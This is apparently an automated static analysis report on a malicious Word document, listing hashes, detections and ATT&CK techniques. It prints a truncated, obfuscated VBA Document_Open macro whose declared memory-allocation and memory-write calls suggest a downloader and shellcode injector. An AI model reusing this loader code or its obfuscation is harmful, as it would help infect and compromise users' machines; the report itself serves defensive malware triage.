Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85d2ba3f12877bf7…

MALICIOUS

Office (OLE)

235.0 KB Created: 2018-01-10 14:47:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 5c273824b89a437bde9fedfb82f75eee SHA-1: 9abac4c3fb224ad97c6156aca3fa07db05d15ce6 SHA-256: 85d2ba3f12877bf7e531ec1970909f2ea20f55ba17d27f4a5b65e8e8dc493909
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a Document_Open VBA macro. This macro is highly obfuscated but its presence, along with the ClamAV detection name 'Doc.Downloader.Macro-6539595-0', strongly suggests it is designed to download and execute a secondary payload. The document body content is benign and unrelated to the macro's likely malicious function.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10667 bytes
SHA-256: 9382ca13f20ea6fce11b1445c741f69bb483943fbb6e2af789e0bb7a9c57f54d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
microscopist = "gomorrah"
breeding
insolence = 39 + 42
 Pmt 0, insolence, 28537, 12310, 6
End Sub



Attribute VB_Name = "scarlet"
Attribute VB_Base = "0{E592ACF1-7573-403B-90D8-F3D49314DF63}{F2092FFF-6445-4C24-9209-07468A3D4751}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False





Attribute VB_Name = "athletic"

Function affect(canas)
affect = AscW(canas)
End Function


Function unclipped(aufgeschoben, daubentoniidae, cadra)
Select Case cadra
Case 19 + (10 / 2 - 5)
unclipped = aufgeschoben \ daubentoniidae
Case 29 + (5 - 3) / 2 - 1
unclipped = aufgeschoben And daubentoniidae
Case 37 + (56 / 7 - 4 * 2)
unclipped = aufgeschoben * daubentoniidae
End Select
End Function
Function fume()
Dim monario(255) As Byte
amore = 112 - 71 + 24
While amore <= 90 + 1
monario(amore) = amore - 65
amore = amore + 1
Wend
amore = 40 + 8
While amore <= 50 + 8
monario(amore) = amore + 4
amore = amore + 1
Wend
amore = 90 + 7
While amore <= 120 + 3
monario(amore) = amore - 71
amore = amore + 1
Wend
monario(47) = 60 + 3
amore = 40 + 3
monario(amore) = 60 + 2
fume = monario
End Function



Attribute VB_Name = "Module1"
#If (50 - 105 + 455 + 126 - 7 + 181) > ((61 - 52 + 311) - (103 - 86 + 523) * 1) And Not ((84 - 39 - 17) - (49 - 8 - 13)) * 2 < (Win64) Then
Public Declare Function ademptum _
Lib "ntdll" Alias _
"NtAllocateVirtualMemory" (diarrheal As Long, adjuration As Long, ByVal overlordship As Long, furnitureByVal As Long, autocrat As Long, ByVal loveliness As Long) As Long
Public Declare Function broder _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (crust As Any, ByVal accounting As Any, ByVal hairline As Any, ByVal doleful As Any, ByVal amateurish As Any, ByVal accrust As Any, ByVal unobeyed As Any) As Long
Public Declare Function peridinium _
Lib "ntdll" Alias _
"NtWriteVirtualMemory" (ByVal frighteningly As Any, ByVal forsake As Any, ByVal agentive As Any, ByVal mitigate As Any, ByVal caconym As Any) As Long
#End If

Function loopline(agoraphobic) As String
Dim polacca As Long
autograph = Rnd(446)

Dim battalia As Long
Dim ditchwater(63) As Long
Dim davenport(63) As Long
Dim ablegate(6962) As Byte
Dim gosling As Integer
Dim scythe(63) As Long
Dim canticle As String
Dim rightsideup As Long
Dim accountable As Long
Dim biomass() As Byte
burdensomeness = 117 - 100 + 47
epoxy = 120 - 35 + 170
greens = 120 - 95 + 231
propagandist = 9 - 95 + 258134
bedstraw = 108 - 84 + 4008
Dim handoff As Byte

acentric = 120 - 37 - 20
immaturity = 34 - 24 + 4086
Dim mar As String

demonophobia = 59 - 89 + 16515102
seagirt = 3 - 2 + 65535
Dim absorb As Long

able = 68 - 40 + 65252
ablaze = 17 - 30 + 16711693
alum = 27 - 73 + 262190
Dim dominie As Long
Delivery = 96 - 97 + 7844
Dim dragonet() As Byte
dragonet = VBA.StrConv(agoraphobic, 120 + 8)
benefaction = 49 + 14
 Pmt 0, benefaction, 39534, 59648, 5

homemaking = 7843
met = vbKeyShift - 12
For banyan = 0 To homemaking
If banyan Mod 2 = 0 Then
dragonet(banyan) = dragonet(banyan) - met
Else
dragonet(banyan) = dragonet(banyan) - (met - 1)
End If
Next banyan
bravado = 20 + 52
 Pmt 0, bravado, 15754, 31303, 5

gosling = 0
anastigmat = fume
For battalia = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
ditchwater(battalia) = unclipped(battalia, burdensomeness, 37)
davenport(battalia) = unclipped(battalia, immaturity, 37)
scythe(battalia) = unclipped(battalia, alum, 37)
Next battalia
fatuus = 52 + 7
 Pmt 0, fatuus, 29033, 20487, 2

biomass = dragonet
streamlined = 128 - 14 - 110
centering = 48 + 55
 Pmt 0, centering, 19360, 3
... (truncated)